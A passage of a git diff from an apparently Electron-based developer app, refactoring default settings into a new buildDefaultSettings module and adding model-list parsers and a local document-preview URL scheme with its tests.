+            defaultThinkingLevel: 'low'
+          }
+        : {})
+    })
+  }
+  return uniqueModels(models)
+}
+
+// Why: model discovery output can include paste-sized noisy lines; only the first fields matter.
+function getPiModelTableFields(line: string, maxFields: number): string[] {
+  const fields: string[] = []
+  let tokenStart = -1
+
+  for (let index = 0; index <= line.length; index += 1) {
+    const isEnd = index === line.length
+    if (!isEnd && !isPiModelTableWhitespace(line.charCodeAt(index))) {
+      if (tokenStart === -1) {
+        tokenStart = index
+      }
+      continue
+    }
+    if (tokenStart !== -1) {
+      fields.push(line.slice(tokenStart, index))
+      tokenStart = -1
+      if (fields.length >= maxFields) {
+        break
+      }
+    }
+  }
+
+  return fields
+}
+
+function isPiModelTableWhitespace(code: number): boolean {
+  return (
+    code === 32 ||
+    (code >= 9 && code <= 13) ||
+    code === 160 ||
+    code === 5760 ||
+    (code >= 8192 && code <= 8202) ||
+    code === 8232 ||
+    code === 8233 ||
+    code === 8239 ||
+    code === 8287 ||
+    code === 12288 ||
+    code === 65279
+  )
+}
+
+export function parseCursorModels(stdout: string): CommitMessageModel[] {
+  const models: CommitMessageModel[] = []
+  for (const rawLine of iterateModelOutputLines(stdout)) {
+    const match = /^([^\s]+)\s+-\s+(.+)$/.exec(rawLine.trim())
+    if (!match) {
+      continue
+    }
+    models.push({
+      id: match[1],
+      label: match[2].replace(/\s+\((?:default|current)\)$/i, ''),
+      ...withOpenAiThinking(match[1])
+    })
+  }
+  return uniqueModels(models)
+}
+
+export function parseAntigravityModels(stdout: string): CommitMessageModel[] {
+  const models: CommitMessageModel[] = []
+  for (const rawLine of iterateModelOutputLines(stdout)) {
+    const id = rawLine.trim()
+    if (id.length === 0) {
+      continue
+    }
+    models.push({
+      id,
+      label: id
+    })
+  }
+  return uniqueModels(models)
+}
diff --git a/src/shared/constants.ts b/src/shared/constants.ts
index 928e774eaa3..f19041b9167 100644
--- a/src/shared/constants.ts
+++ b/src/shared/constants.ts
@@ -1,4 +1,3 @@
-/* eslint-disable max-lines -- Why: default persisted settings live in one schema-shaped object so migrations and tests compare against one source of truth. */
 import type { GlobalSettings } from './global-settings-types'
 import type { NotificationSettings } from './notification-settings-types'
 import type { OnboardingChecklistState, OnboardingState } from './onboarding-state-types'
@@ -9,28 +8,14 @@ import type { AgentActivityDisplayMode } from './ui-chrome-types'
 import type { WorkspaceSessionState } from './workspace-session-state-types'
 import { EMPTY_CODEX_RESET_CREDIT_ATTEMPT_LEDGER } from './codex-reset-credit-attempt-ledger'
 import { DEFAULT_STATUS_BAR_ITEMS } from './status-bar-defaults'
-import { DEFAULT_TERMINAL_FONT_WEIGHT, DEFAULT_TERMINAL_FONT_WEIGHT_BOLD } from './terminal-fonts'
-import { getDefaultTerminalQuickCommands } from './terminal-quick-commands'
 import type { VoiceSettings } from './speech-types'
 import { cloneDefaultWorkspaceStatuses } from './workspace-statuses'
-import { TASK_PROVIDERS } from './task-providers'
 import { DEFAULT_WORKTREE_CARD_PROPERTIES } from './worktree/card-properties'
-import { getDefaultSourceControlAiSettings } from './source-control-ai'
-import { DEFAULT_APP_ICON_ID } from './app-icon'
-import { DEFAULT_OPEN_IN_APPLICATIONS } from './open-in-applications'
-import { DEFAULT_BROWSER_PAGE_ZOOM_LEVEL } from './browser-page-zoom'
-import { DEFAULT_DISABLED_TUI_AGENTS } from './tui-agent-selection'
-import { DEFAULT_TUI_AGENT_ARGS, DEFAULT_TUI_AGENT_ENV } from './tui-agent-launch-defaults'
-import { UI_LANGUAGE_SYSTEM } from './ui-language'
-import {
-  DEFAULT_LEFT_SIDEBAR_TINT_COLOR,
-  DEFAULT_LEFT_SIDEBAR_TINT_OPACITY
-} from './left-sidebar-appearance'
-import { DEFAULT_SOURCE_CONTROL_GROUP_ORDER } from './source-control-group-order'
-import { DEFAULT_SETUP_AGENT_STARTUP_POLICY } from './setup-agent-startup-policy'
-import { DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT } from './terminal-scrollback-policy'
 import { DEFAULT_USAGE_PERCENTAGE_DISPLAY } from './usage-percentage-display'
 import { DEFAULT_STATUS_BAR_USAGE_MODE } from './status-bar-usage-mode'
+import { buildDefaultSettings } from './default-global-settings'
+import { DEFAULT_SETUP_AGENT_STARTUP_POLICY } from './setup-agent-startup-policy'
+import { DEFAULT_BROWSER_PAGE_ZOOM_LEVEL } from './browser-page-zoom'
 
 export { DEFAULT_STATUS_BAR_ITEMS } from './status-bar-defaults'
 export {
@@ -171,232 +156,19 @@ export function getDefaultWorkspaceDir(homeDir: string): string {
 }
 
 export function getDefaultSettings(homedir: string): GlobalSettings {
-  return {
+  return buildDefaultSettings({
     workspaceDir: getDefaultWorkspaceDir(homedir),
-    worktreeVisibilityDefaults: { external: 'hide' },
-    nestWorkspaces: true,
-    workspaceDirHistory: [],
-    refreshLocalBaseRefOnWorktreeCreate: false,
-    localBaseRefSuggestionDismissed: false,
-    autoRenameBranchFromWork: true,
-    autoRenameBranchFromWorkDefaultedOn: true,
-    branchPrefix: 'git-username',
-    branchPrefixCustom: '',
-    theme: 'system',
-    leftSidebarAppearanceMode: 'default',
-    leftSidebarTintColor: DEFAULT_LEFT_SIDEBAR_TINT_COLOR,
-    leftSidebarTintOpacity: DEFAULT_LEFT_SIDEBAR_TINT_OPACITY,
-    uiLanguage: UI_LANGUAGE_SYSTEM,
-    appIcon: DEFAULT_APP_ICON_ID,
     appFontFamily: DEFAULT_APP_FONT_FAMILY,
-    editorAutoSave: false,
     editorAutoSaveDelayMs: DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS,
-    editorMinimapEnabled: false,
-    // Why empty: the editor keeps following the terminal font unless the user opts in.
-    editorFontFamily: '',
-    editorWordWrap: true,
-    richMarkdownSpellcheckEnabled: true,
-    markdownReviewToolsEnabled: true,
     primarySelectionMiddleClickPaste: getDefaultPrimarySelectionMiddleClickPaste(),
-    primarySelectionMiddleClickPasteDefaultedForLinux:
+    primarySelectionDefaultedForLinux:
       typeof process !== 'undefined' && process.platform === 'linux',
-    primarySelectionMiddleClickPasteDefaultedForTerminalDefaults:
-      getDefaultPrimarySelectionMiddleClickPaste(),
-    terminalFontSize: 14,
     terminalFontFamily: defaultTerminalFontFamily(),
-    terminalFontWeight: DEFAULT_TERMINAL_FONT_WEIGHT,
-    terminalFontWeightBold: DEFAULT_TERMINAL_FONT_WEIGHT_BOLD,
-    terminalLineHeight: 1,
-    terminalScrollSensitivity: 1.15,
-    terminalFastScrollSensitivity: 5,
-    terminalTuiScrollSensitivity: 1,
-    terminalTuiScrollSensitivityDefaultedToOne: true,
-    // Why: "auto" uses WebGL when supported, falling back to DOM on renderer failure or software/unknown GPU.
-    terminalGpuAcceleration: 'auto',
-    // Why 'auto': enable ligatures only for known ligature fonts, never forced. Resolver in shared/terminal-ligatures.ts.
-    terminalLigatures: 'auto',
-    terminalCursorStyle: 'block',
-    terminalCursorStyleDefaultedToBlock: true,
-    terminalCursorBlink: true,
-    terminalThemeDark: 'Ghostty Default Style Dark',
-    terminalDividerColorDark: '#3f3f46',
-    terminalUseSeparateLightTheme: true,
-    terminalThemeLight: 'Builtin Tango Light',
-    terminalCustomThemes: [],
-    terminalDividerColorLight: '#d4d4d8',
     terminalInactivePaneOpacity: DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY,
-    terminalActivePaneOpacity: 1,
-    terminalPaneOpacityTransitionMs: 140,
-    terminalDividerThicknessPx: 3,
-    // Why: Windows paste-on-right-click matches native convention; macOS/Linux keep right-click for the context menu.
     terminalRightClickToPaste: getDefaultTerminalRightClickToPaste(),
-    terminalRightClickToPasteDefaultedForPlatform: true,
-    terminalWindowsShell: 'powershell.exe',
-    terminalWindowsWslDistro: null,
-    localAccountRuntime: 'auto',
-    localAccountRuntimeDefaultedToAutoForAllUsers: true,
-    localAccountWslDistro: null,
-    localWindowsRuntimeDefault: { kind: 'windows-host' },
-    // Why: prefer modern PowerShell when installed, falling back to inbox Windows PowerShell.
-    terminalWindowsPowerShellImplementation: 'auto',
-    terminalMouseHideWhileTyping: false,
-    terminalQuickCommands: getDefaultTerminalQuickCommands(),
-    // Why: opt-in only, matching Ghostty's default (upgrades never enable it unexpectedly).
-    terminalFocusFollowsMouse: false,
-    windowBackgroundBlur: false,
-    minimizeToTrayOnClose: false,
-    // Why: default-on everywhere so it round-trips across platforms; only darwin acts on it.
-    showMenuBarIcon: true,
-    terminalClipboardOnSelect: false,
-    // Why: default on so Zellij/tmux/nvim copy works out of the box. Query
-    // replies stay disabled and payload size is capped in the OSC 52 handler.
-    // This default only covers new profiles; existing ones persisted `false`
-    // and are flipped once by the stamp below (shared/osc52-clipboard-settings.ts,
-    // applied by both the Electron store and the web client's localStorage store).
-    terminalAllowOsc52Clipboard: true,
-    terminalAllowOsc52ClipboardDefaultedOnForAllUsers: true,
-    claudeAgentTeamsMode: 'off',
-    setupScriptLaunchMode: 'new-tab',
-    terminalScrollbackRows: DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT,
-    httpProxyUrl: '',
-    httpProxyBypassRules: '',
-    electronHttp1CompatibilityMode: false,
-    openLinksInApp: false,
-    localhostWorktreeLabelsEnabled: false,
-    openLinksInAppPreferencePrompted: false,
-    openLinksInAppModifierInverts: false,
-    terminalLinkActionPopoverEnabled: true,
-    openAgentTabsInChatByDefault: false,
-    experimentalNativeChat: false,
-    nativeChatSessionOptions: {},
-    openInApplications: [...DEFAULT_OPEN_IN_APPLICATIONS],
-    rightSidebarOpenByDefault: true,
-    showGitIgnoredFiles: true,
-    sourceControlViewMode: 'list',
-    sourceControlGroupOrder: DEFAULT_SOURCE_CONTROL_GROUP_ORDER,
-    sourceControlCompareAgainstUpstream: false,
-    showTitlebarAppName: true,
-    showTasksButton: true,
-    showAutomationsButton: true,
-    artifactsEnabled: true,
-    artifactSharingEnabled: false,
-    agentSkillSharingEnabled: false,
-    nestedWorkerMaxDepth: 1,
-    showArtifactsButton: false,
-    showSkillsButton: false,
-    showMobileButton: true,
-    showPinnedWorktreesInGroups: false,
-    ctrlTabOrderMode: 'mru',
-    // Why: Orca-first keeps core shortcuts working from a focused terminal; TUI-ownership users opt in.
-    terminalShortcutPolicy: 'orca-first',
-    floatingTerminalEnabled: true,
-    browserClientHostedRemoteEnabled: true,
-    floatingTerminalDefaultedForAllUsers: true,
-    floatingTerminalCwd: '~',
-    floatingTerminalTrustedCwds: [],
-    floatingTerminalCwdMigratedToAppWorkspace: true,
-    floatingTerminalTriggerLocation: 'floating-button',
     notifications: getDefaultNotificationSettings(),
-    diffDefaultView: 'inline',
-    diffWordWrap: false,
-    combinedDiffFileTreeVisibleByDefault: false,
-    prBotAuthorOverrides: [],
-    promptCacheTimerEnabled: false,
-    promptCacheTtlMs: 300_000,
-    codexManagedAccounts: [],
-    activeCodexManagedAccountId: null,
-    activeCodexManagedAccountIdsByRuntime: { host: null, wsl: {} },
-    claudeManagedAccounts: [],
-    activeClaudeManagedAccountId: null,
-    terminalScopeHistoryByWorktree: true,
-    terminalHiddenViewParking: true,
-    // C1 kill switches — runtime reads stay `!== false` so older persisted
-    // settings objects (which omit them) keep the default-on behavior.
-    terminalSshViewParking: true,
-    terminalHiddenWorktreeRetentionBudget: true,
-    browserGuestWorktreeRetentionBudget: true,
-    terminalMainSideEffectAuthority: true,
-    terminalHiddenDeliveryGate: true,
-    terminalModelQueryAuthority: true,
-    defaultTuiAgent: null,
-    disabledTuiAgents: [...DEFAULT_DISABLED_TUI_AGENTS],
-    pluginSystemEnabled: false,
-    disabledPlugins: [],
-    pluginConsents: {},
-    devPluginPaths: [],
-    claudeAgentTeamsDefaultDisabledMigrated: true,
-    skipDeleteWorktreeConfirm: false,
-    skipCloseTerminalWithRunningProcessConfirm: false,
-    skipDeleteAutomationConfirm: false,
-    skipDeleteArtifactConfirm: false,
-    skipCodexRateLimitResetConfirm: false,
-    defaultTaskViewPreset: 'all',
-    defaultTaskSource: 'github',
-    visibleTaskProviders: [...TASK_PROVIDERS],
-    visibleTaskProvidersDefaultedForJira: true,
-    defaultRepoSelection: null,
-    defaultLinearTeamSelection: null,
-    opencodeSessionCookie: '',
-    opencodeWorkspaceId: '',
-    minimaxGroupId: '',
-    minimaxUsageModels: 'general',
-    geminiCliOAuthEnabled: false,
-    agentCmdOverrides: {},
-    agentDefaultArgs: { ...DEFAULT_TUI_AGENT_ARGS },
-    agentDefaultEnv: { ...DEFAULT_TUI_AGENT_ENV },
-    agentYoloDefaultsMigrated: true,
-    agentStatusHooksEnabled: true,
-    tabAutoGenerateTitle: false,
-    confirmClosePinnedTab: true,
-    keepComputerAwakeWhileAgentsRun: false,
-    // Why: 'auto' probes keyboard layout so non-US users can type Option chars like @/€/[ out of the box (issue #903). See src/renderer/src/lib/keyboard-layout/*.
-    terminalMacOptionAsAlt: 'auto',
-    terminalMacOptionAsAltMigrated: false,
-    terminalJISYenToBackslash: false,
-    experimentalMobile: false,
-    mobileEmulatorEnabled: true,
-    mobileEmulatorDefaultDeviceUdid: null,
-    androidSdkPath: null,
-    // Why: indefinite hold — the "Restore" banner is the explicit return action, no wall-clock guess. See docs/mobile-fit-hold.md.
-    mobileAutoRestoreFitMs: null,
-    // Why: Anywhere (Relay + local) is the default; local-only is written only on explicit same-network choice.
-    mobilePairingConnectionMode: 'automatic',
-    mobilePairingCustomAddress: null,
-    mobilePairingCustomAddresses: [],
-    // Why: off keeps the cosmetic overlay unmounted for users who never opt in.
-    experimentalPet: false,
-    experimentalActivity: false,
-    experimentalActivityDefaultedOffForAllUsers: true,
-    experimentalTerminalAttention: false,
-    experimentalAgentHibernation: false,
-    agentHibernationIdleMs: 30 * 60 * 1000,
-    experimentalNewWorktreeCardStyle: false,
-    experimentalEphemeralVms: false,
-    compactWorktreeCards: false,
-    // Why: local desktop stays the default until the user picks a saved runtime environment.
-    activeRuntimeEnvironmentId: null,
-    // Why: hydrate a stable empty shape so renderer optional-chained reads never hit undefined.
-    githubProjects: {
-      pinned: [],
-      recent: [],
-      lastViewByProject: {},
-      activeProject: null
-    },
-    // Why: keep agent/model maps empty so first use follows the default agent's model, not a frozen stale choice.
-    commitMessageAi: {
-      enabled: true,
-      agentId: null,
-      selectedModelByAgent: {},
-      discoveredModelsByAgent: {},
-      selectedModelByAgentByHost: {},
-      discoveredModelsByAgentByHost: {},
-      selectedThinkingByModel: {},
-      customPrompt: '',
-      customAgentCommand: ''
-    },
-    sourceControlAi: getDefaultSourceControlAiSettings(),
     voice: getDefaultVoiceSettings()
-  }
+  })
 }
 
 export function getDefaultVoiceSettings(): VoiceSettings {
diff --git a/src/shared/default-global-settings.ts b/src/shared/default-global-settings.ts
new file mode 100644
index 00000000000..a501dfd6ec6
--- /dev/null
+++ b/src/shared/default-global-settings.ts
@@ -0,0 +1,257 @@
+import type { GlobalSettings } from './global-settings-types'
+import type { NotificationSettings } from './notification-settings-types'
+import type { VoiceSettings } from './speech-types'
+import { DEFAULT_TERMINAL_FONT_WEIGHT, DEFAULT_TERMINAL_FONT_WEIGHT_BOLD } from './terminal-fonts'
+import { getDefaultTerminalQuickCommands } from './terminal-quick-commands'
+import { TASK_PROVIDERS } from './task-providers'
+import { getDefaultSourceControlAiSettings } from './source-control-ai'
+import { DEFAULT_APP_ICON_ID } from './app-icon'
+import { DEFAULT_OPEN_IN_APPLICATIONS } from './open-in-applications'
+import { DEFAULT_DISABLED_TUI_AGENTS } from './tui-agent-selection'
+import { DEFAULT_TUI_AGENT_ARGS, DEFAULT_TUI_AGENT_ENV } from './tui-agent-launch-defaults'
+import { UI_LANGUAGE_SYSTEM } from './ui-language'
+import {
+  DEFAULT_LEFT_SIDEBAR_TINT_COLOR,
+  DEFAULT_LEFT_SIDEBAR_TINT_OPACITY
+} from './left-sidebar-appearance'
+import { DEFAULT_SOURCE_CONTROL_GROUP_ORDER } from './source-control-group-order'
+import { DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT } from './terminal-scrollback-policy'
+
+export function buildDefaultSettings(args: {
+  workspaceDir: string
+  appFontFamily: string
+  editorAutoSaveDelayMs: number
+  primarySelectionMiddleClickPaste: boolean
+  primarySelectionDefaultedForLinux: boolean
+  terminalFontFamily: string
+  terminalInactivePaneOpacity: number
+  terminalRightClickToPaste: boolean
+  notifications: NotificationSettings
+  voice: VoiceSettings
+}): GlobalSettings {
+  return {
+    workspaceDir: args.workspaceDir,
+    worktreeVisibilityDefaults: { external: 'hide' },
+    nestWorkspaces: true,
+    workspaceDirHistory: [],
+    refreshLocalBaseRefOnWorktreeCreate: false,
+    localBaseRefSuggestionDismissed: false,
+    autoRenameBranchFromWork: true,
+    autoRenameBranchFromWorkDefaultedOn: true,
+    branchPrefix: 'git-username',
+    branchPrefixCustom: '',
+    theme: 'system',
+    leftSidebarAppearanceMode: 'default',
+    leftSidebarTintColor: DEFAULT_LEFT_SIDEBAR_TINT_COLOR,
+    leftSidebarTintOpacity: DEFAULT_LEFT_SIDEBAR_TINT_OPACITY,
+    uiLanguage: UI_LANGUAGE_SYSTEM,
+    appIcon: DEFAULT_APP_ICON_ID,
+    appFontFamily: args.appFontFamily,
+    editorAutoSave: false,
+    editorAutoSaveDelayMs: args.editorAutoSaveDelayMs,
+    editorMinimapEnabled: false,
+    // Why empty: the editor keeps following the terminal font unless the user opts in.
+    editorFontFamily: '',
+    editorWordWrap: true,
+    richMarkdownSpellcheckEnabled: true,
+    markdownReviewToolsEnabled: true,
+    primarySelectionMiddleClickPaste: args.primarySelectionMiddleClickPaste,
+    primarySelectionMiddleClickPasteDefaultedForLinux: args.primarySelectionDefaultedForLinux,
+    primarySelectionMiddleClickPasteDefaultedForTerminalDefaults:
+      args.primarySelectionMiddleClickPaste,
+    terminalFontSize: 14,
+    terminalFontFamily: args.terminalFontFamily,
+    terminalFontWeight: DEFAULT_TERMINAL_FONT_WEIGHT,
+    terminalFontWeightBold: DEFAULT_TERMINAL_FONT_WEIGHT_BOLD,
+    terminalLineHeight: 1,
+    terminalScrollSensitivity: 1.15,
+    terminalFastScrollSensitivity: 5,
+    terminalTuiScrollSensitivity: 1,
+    terminalTuiScrollSensitivityDefaultedToOne: true,
+    // Why: "auto" uses WebGL when supported, falling back to DOM on renderer failure or software/unknown GPU.
+    terminalGpuAcceleration: 'auto',
+    // Why 'auto': enable ligatures only for known ligature fonts, never forced. Resolver in shared/terminal-ligatures.ts.
+    terminalLigatures: 'auto',
+    terminalCursorStyle: 'block',
+    terminalCursorStyleDefaultedToBlock: true,
+    terminalCursorBlink: true,
+    terminalThemeDark: 'Ghostty Default Style Dark',
+    terminalDividerColorDark: '#3f3f46',
+    terminalUseSeparateLightTheme: true,
+    terminalThemeLight: 'Builtin Tango Light',
+    terminalCustomThemes: [],
+    terminalDividerColorLight: '#d4d4d8',
+    terminalInactivePaneOpacity: args.terminalInactivePaneOpacity,
+    terminalActivePaneOpacity: 1,
+    terminalPaneOpacityTransitionMs: 140,
+    terminalDividerThicknessPx: 3,
+    // Why: Windows paste-on-right-click matches native convention; macOS/Linux keep right-click for the context menu.
+    terminalRightClickToPaste: args.terminalRightClickToPaste,
+    terminalRightClickToPasteDefaultedForPlatform: true,
+    terminalWindowsShell: 'powershell.exe',
+    terminalWindowsWslDistro: null,
+    localAccountRuntime: 'auto',
+    localAccountRuntimeDefaultedToAutoForAllUsers: true,
+    localAccountWslDistro: null,
+    localWindowsRuntimeDefault: { kind: 'windows-host' },
+    // Why: prefer modern PowerShell when installed, falling back to inbox Windows PowerShell.
+    terminalWindowsPowerShellImplementation: 'auto',
+    terminalMouseHideWhileTyping: false,
+    terminalQuickCommands: getDefaultTerminalQuickCommands(),
+    // Why: opt-in only, matching Ghostty's default (upgrades never enable it unexpectedly).
+    terminalFocusFollowsMouse: false,
+    windowBackgroundBlur: false,
+    minimizeToTrayOnClose: false,
+    // Why: default-on everywhere so it round-trips across platforms; only darwin acts on it.
+    showMenuBarIcon: true,
+    terminalClipboardOnSelect: false,
+    // Why: default on so Zellij/tmux/nvim copy works out of the box. Query
+    // replies stay disabled and payload size is capped in the OSC 52 handler.
+    // This default only covers new profiles; existing ones persisted `false`
+    // and are flipped once by the stamp below (shared/osc52-clipboard-settings.ts,
+    // applied by both the Electron store and the web client's localStorage store).
+    terminalAllowOsc52Clipboard: true,
+    terminalAllowOsc52ClipboardDefaultedOnForAllUsers: true,
+    claudeAgentTeamsMode: 'off',
+    setupScriptLaunchMode: 'new-tab',
+    terminalScrollbackRows: DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT,
+    httpProxyUrl: '',
+    httpProxyBypassRules: '',
+    electronHttp1CompatibilityMode: false,
+    openLinksInApp: false,
+    localhostWorktreeLabelsEnabled: false,
+    openLinksInAppPreferencePrompted: false,
+    openLinksInAppModifierInverts: false,
+    terminalLinkActionPopoverEnabled: true,
+    openAgentTabsInChatByDefault: false,
+    experimentalNativeChat: false,
+    nativeChatSessionOptions: {},
+    openInApplications: [...DEFAULT_OPEN_IN_APPLICATIONS],
+    rightSidebarOpenByDefault: true,
+    showGitIgnoredFiles: true,
+    sourceControlViewMode: 'list',
+    sourceControlGroupOrder: DEFAULT_SOURCE_CONTROL_GROUP_ORDER,
+    sourceControlCompareAgainstUpstream: false,
+    showTitlebarAppName: true,
+    showTasksButton: true,
+    showAutomationsButton: true,
+    artifactsEnabled: true,
+    artifactSharingEnabled: false,
+    agentSkillSharingEnabled: false,
+    nestedWorkerMaxDepth: 1,
+    showArtifactsButton: false,
+    showSkillsButton: false,
+    showMobileButton: true,
+    showPinnedWorktreesInGroups: false,
+    ctrlTabOrderMode: 'mru',
+    // Why: Orca-first keeps core shortcuts working from a focused terminal; TUI-ownership users opt in.
+    terminalShortcutPolicy: 'orca-first',
+    floatingTerminalEnabled: true,
+    browserClientHostedRemoteEnabled: true,
+    floatingTerminalDefaultedForAllUsers: true,
+    floatingTerminalCwd: '~',
+    floatingTerminalTrustedCwds: [],
+    floatingTerminalCwdMigratedToAppWorkspace: true,
+    floatingTerminalTriggerLocation: 'floating-button',
+    notifications: args.notifications,
+    diffDefaultView: 'inline',
+    diffWordWrap: false,
+    combinedDiffFileTreeVisibleByDefault: false,
+    prBotAuthorOverrides: [],
+    promptCacheTimerEnabled: false,
+    promptCacheTtlMs: 300_000,
+    codexManagedAccounts: [],
+    activeCodexManagedAccountId: null,
+    activeCodexManagedAccountIdsByRuntime: { host: null, wsl: {} },
+    claudeManagedAccounts: [],
+    activeClaudeManagedAccountId: null,
+    terminalScopeHistoryByWorktree: true,
+    terminalHiddenViewParking: true,
+    // C1 kill switches — runtime reads stay `!== false` so older persisted
+    // settings objects (which omit them) keep the default-on behavior.
+    terminalSshViewParking: true,
+    terminalHiddenWorktreeRetentionBudget: true,
+    browserGuestWorktreeRetentionBudget: true,
+    terminalMainSideEffectAuthority: true,
+    terminalHiddenDeliveryGate: true,
+    terminalModelQueryAuthority: true,
+    defaultTuiAgent: null,
+    disabledTuiAgents: [...DEFAULT_DISABLED_TUI_AGENTS],
+    pluginSystemEnabled: false,
+    disabledPlugins: [],
+    pluginConsents: {},
+    devPluginPaths: [],
+    claudeAgentTeamsDefaultDisabledMigrated: true,
+    skipDeleteWorktreeConfirm: false,
+    skipCloseTerminalWithRunningProcessConfirm: false,
+    skipDeleteAutomationConfirm: false,
+    skipDeleteArtifactConfirm: false,
+    skipCodexRateLimitResetConfirm: false,
+    defaultTaskViewPreset: 'all',
+    defaultTaskSource: 'github',
+    visibleTaskProviders: [...TASK_PROVIDERS],
+    visibleTaskProvidersDefaultedForJira: true,
+    defaultRepoSelection: null,
+    defaultLinearTeamSelection: null,
+    opencodeSessionCookie: '',
+    opencodeWorkspaceId: '',
+    minimaxGroupId: '',
+    minimaxUsageModels: 'general',
+    geminiCliOAuthEnabled: false,
+    agentCmdOverrides: {},
+    agentDefaultArgs: { ...DEFAULT_TUI_AGENT_ARGS },
+    agentDefaultEnv: { ...DEFAULT_TUI_AGENT_ENV },
+    agentYoloDefaultsMigrated: true,
+    agentStatusHooksEnabled: true,
+    tabAutoGenerateTitle: false,
+    confirmClosePinnedTab: true,
+    keepComputerAwakeWhileAgentsRun: false,
+    // Why: 'auto' probes keyboard layout so non-US users can type Option chars like @/€/[ out of the box (issue #903). See src/renderer/src/lib/keyboard-layout/*.
+    terminalMacOptionAsAlt: 'auto',
+    terminalMacOptionAsAltMigrated: false,
+    terminalJISYenToBackslash: false,
+    experimentalMobile: false,
+    mobileEmulatorEnabled: true,
+    mobileEmulatorDefaultDeviceUdid: null,
+    androidSdkPath: null,
+    // Why: indefinite hold — the "Restore" banner is the explicit return action, no wall-clock guess. See docs/mobile-fit-hold.md.
+    mobileAutoRestoreFitMs: null,
+    // Why: Anywhere (Relay + local) is the default; local-only is written only on explicit same-network choice.
+    mobilePairingConnectionMode: 'automatic',
+    mobilePairingCustomAddress: null,
+    mobilePairingCustomAddresses: [],
+    // Why: off keeps the cosmetic overlay unmounted for users who never opt in.
+    experimentalPet: false,
+    experimentalActivity: false,
+    experimentalActivityDefaultedOffForAllUsers: true,
+    experimentalTerminalAttention: false,
+    experimentalAgentHibernation: false,
+    agentHibernationIdleMs: 30 * 60 * 1000,
+    experimentalNewWorktreeCardStyle: false,
+    experimentalEphemeralVms: false,
+    compactWorktreeCards: false,
+    // Why: local desktop stays the default until the user picks a saved runtime environment.
+    activeRuntimeEnvironmentId: null,
+    // Why: hydrate a stable empty shape so renderer optional-chained reads never hit undefined.
+    githubProjects: {
+      pinned: [],
+      recent: [],
+      lastViewByProject: {},
+      activeProject: null
+    },
+    // Why: keep agent/model maps empty so first use follows the default agent's model, not a frozen stale choice.
+    commitMessageAi: {
+      enabled: true,
+      agentId: null,
+      selectedModelByAgent: {},
+      discoveredModelsByAgent: {},
+      selectedModelByAgentByHost: {},
+      discoveredModelsByAgentByHost: {},
+      selectedThinkingByModel: {},
+      customPrompt: '',
+      customAgentCommand: ''
+    },
+    sourceControlAi: getDefaultSourceControlAiSettings(),
+    voice: args.voice
+  }
+}
diff --git a/src/shared/doc-preview-scheme.test.ts b/src/shared/doc-preview-scheme.test.ts
new file mode 100644
index 00000000000..fec27376ce5
--- /dev/null
+++ b/src/shared/doc-preview-scheme.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, it } from 'vitest'
+import { buildDocPreviewUrl, parseDocPreviewUrl } from './doc-preview-scheme'
+
+const GRANT = 'a'.repeat(32)
+
+describe('doc preview URLs', () => {
+  it('round-trips a nested relative path', () => {
+    const url = buildDocPreviewUrl(GRANT, 'assets/logo.png')
+
+    expect(url).toBe(`orca-preview://${GRANT}/assets/logo.png`)
+    expect(parseDocPreviewUrl(url)).toEqual({ grantId: GRANT, relativePath: 'assets/logo.png' })
+  })
+
+  it('encodes characters that would otherwise split the URL', () => {
+    const url = buildDocPreviewUrl(GRANT, 'a b/c#d?e.html')
+
+    expect(url).toBe(`orca-preview://${GRANT}/a%20b/c%23d%3Fe.html`)
+    expect(parseDocPreviewUrl(url)).toEqual({ grantId: GRANT, relativePath: 'a b/c#d?e.html' })
+  })
+
+  it('normalizes backslashes into path segments so a Windows path cannot smuggle one segment', () => {
+    expect(parseDocPreviewUrl(buildDocPreviewUrl(GRANT, 'assets\\logo.png'))).toEqual({
+      grantId: GRANT,
+      relativePath: 'assets/logo.png'
+    })
+  })
+
+  it('reports an empty relative path for a root request', () => {
+    expect(parseDocPreviewUrl(`orca-preview://${GRANT}/`)).toEqual({
+      grantId: GRANT,
+      relativePath: ''
+    })
+  })
+
+  it('rejects malformed grant ids and other schemes', () => {
+    expect(parseDocPreviewUrl('orca-preview://SHORT/index.html')).toBeNull()
+    expect(parseDocPreviewUrl(`orca-preview://${'g'.repeat(32)}/index.html`)).toBeNull()
+    expect(parseDocPreviewUrl(`https://${GRANT}/index.html`)).toBeNull()
+    expect(parseDocPreviewUrl('not a url')).toBeNull()
+  })
+
+  it('rejects an undecodable percent sequence rather than passing raw bytes through', () => {
+    expect(parseDocPreviewUrl(`orca-preview://${GRANT}/%E0%A4%A.html`)).toBeNull()
+  })
+})
diff --git a/src/shared/doc-preview-scheme.ts b/src/shared/doc-preview-scheme.ts
new file mode 100644
index 00000000000..8046e9b75ce
--- /dev/null
+++ b/src/shared/doc-preview-scheme.ts
@@ -0,0 +1,110 @@
+/**
+ * Wire shape for the local document-preview scheme. The main process answers
+ * `orca-preview://<grantId>/<relative-path>` by reading the owning workspace's
+ * disk over the same channels the editor uses, so remote HTML docs render in a
+ * local webview instead of being routed through the remote-browsing machinery.
+ */
+export const DOC_PREVIEW_SCHEME = 'orca-preview'
+
+/** Why: non-persistent and its own partition — preview bytes never share storage with user browsing or workspace browser profiles. */
+export const DOC_PREVIEW_PARTITION = 'orca-doc-preview'
+
+export const DOC_PREVIEW_MINT_GRANT_CHANNEL = 'docPreview:mintGrant'
+export const DOC_PREVIEW_REVOKE_GRANT_CHANNEL = 'docPreview:revokeGrant'
+export const DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL = 'docPreview:authorizeDirectory'
+export const DOC_PREVIEW_EXTERNAL_LINK_CHANNEL = 'docPreview:externalLink'
+/**
+ * The preview guest's preload reports a trusted anchor click here. Renderer↔main only — no paired
+ * client ever sees it, and main gates every report on the sender being a live, grant-bound preview guest.
+ */
+export const DOC_PREVIEW_LINK_CLICK_CHANNEL = 'docPreview:linkClick'
+/** The one out-of-band route from the preview's main-side fences to the shell hosting it. */
+export const DOC_PREVIEW_LOAD_FAILURE_CHANNEL = 'docPreview:loadFailure'
+
+/** Why: an unreadable document still answers with a real HTTP status, so the guest paints the
+ *  handler's plain-text body instead of failing to load. The shell needs the reason out-of-band. */
+export type DocPreviewFileFailureReason =
+  | 'authorization-required'
+  | 'too-large'
+  | 'unsupported-asset'
